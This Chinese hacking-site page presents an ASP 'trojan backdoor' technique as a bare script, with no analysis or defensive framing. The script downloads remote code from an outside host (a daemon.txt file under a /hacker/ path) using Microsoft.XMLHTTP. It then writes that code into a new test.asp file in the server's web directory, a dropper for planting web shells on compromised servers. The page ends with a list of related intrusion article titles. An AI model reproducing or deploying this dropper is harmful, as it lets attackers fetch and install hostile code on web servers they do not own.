ASP木马后门新思路

所属分类: 实用技巧 / 漏洞研究 阅读数: 1877
收藏 0 赞 0 分享
<%  
Function GetPage(url)  
dim Retrieval  
Set Retrieval = createObject("Microsoft.XMLHTTP")  
With Retrieval  
.Open "Get", url, False ', "", ""  
.Send  
GetPage = BytesToBstr(.ResponseBody)  
End With  
Set Retrieval = Nothing  
End Function  

Function BytesToBstr(body)  
dim objstream  
set objstream = Server.createObject("adodb.stream")  
objstream.Type = 1  
objstream.Mode =3  
objstream.Open  
objstream.Write body  
objstream.Position = 0  
objstream.Type = 2  
objstream.Charset = "GB2312"  
BytesToBstr = objstream.ReadText  
objstream.Close  
set objstream = nothing  
End Function  
on error resume next  
Url="http://www.heibai.org/hacker/daemon.txt"  
response.write "开始取得远程代码........"  
wstr = GetPage(Url)  

Set fs=Server.createObject("Scripting.FileSystemObject")  

Set CrFi=fs.createTextFile(server.MapPath("./")&"\test.asp")  
Crfi.Writeline(wstr)  
set CrFi=nothing  
set fs=nothing  
response.write "...<font color=red>生成test.asp文件成功</font>"  
%>  
更多精彩内容其他人还在看

悬念音乐程序安装程序写马(图)

悬念音乐程序安装程序写马(图)
收藏 0 赞 0 分享

为什么经常被网络入侵?探究原因

为什么经常被网络入侵?探究原因
收藏 0 赞 0 分享

黑客之门的魅力:感染与加载(图)

黑客之门的魅力:感染与加载(图)
收藏 0 赞 0 分享

诱人视频请君入瓮 解析RealPlayer溢出漏洞

诱人视频请君入瓮 解析RealPlayer溢出漏洞
收藏 0 赞 0 分享

漏洞漫舞的飞骋

漏洞漫舞的飞骋
收藏 0 赞 0 分享

穷追猛打:破译Foxmail“密码天书”

穷追猛打:破译Foxmail“密码天书”
收藏 0 赞 0 分享

BBSXP漏洞再探究

BBSXP漏洞再探究
收藏 0 赞 0 分享

安全技术—RSA公钥密码体制安全性分析

安全技术—RSA公钥密码体制安全性分析
收藏 0 赞 0 分享

蜜罐技术:消除防火墙局限和脆弱

蜜罐技术:消除防火墙局限和脆弱
收藏 0 赞 0 分享

跨站脚本说明

跨站脚本说明
收藏 0 赞 0 分享
查看更多